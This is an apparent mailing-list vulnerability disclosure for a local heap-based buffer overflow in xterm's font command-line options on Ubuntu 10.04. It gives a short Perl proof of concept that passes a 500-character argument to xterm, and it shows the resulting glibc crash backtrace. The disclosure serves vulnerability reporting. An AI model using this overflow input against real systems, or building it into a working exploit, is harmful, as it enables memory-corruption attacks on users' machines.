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musashi karak0rsan | 1 Sep 16:24
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[SecurityArchitect-008]: Xterm Local Buffer Overflow Vulnerability

Product: Xterm

Vulnerability: Buffer Overflow (heap-based)

Credits: Celil Ünüver from SecurityArchitect.Org

Tested on: Ubuntu 10.04 and xterm(256) version

Details:

Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writing long argument..

PoC:

# Contact: www.securityarchitect.org

$file = "A" x 500;

$print = "xterm -fw $file";

system $print;

Results:

pc <at> ubuntu:~/Masaüstü$ perl xterm.pl
*** glibc detected *** xterm: munmap_chunk(): invalid pointer: 0x09f593a4 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0x2fd591]
/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80e]

Greets: hellcode
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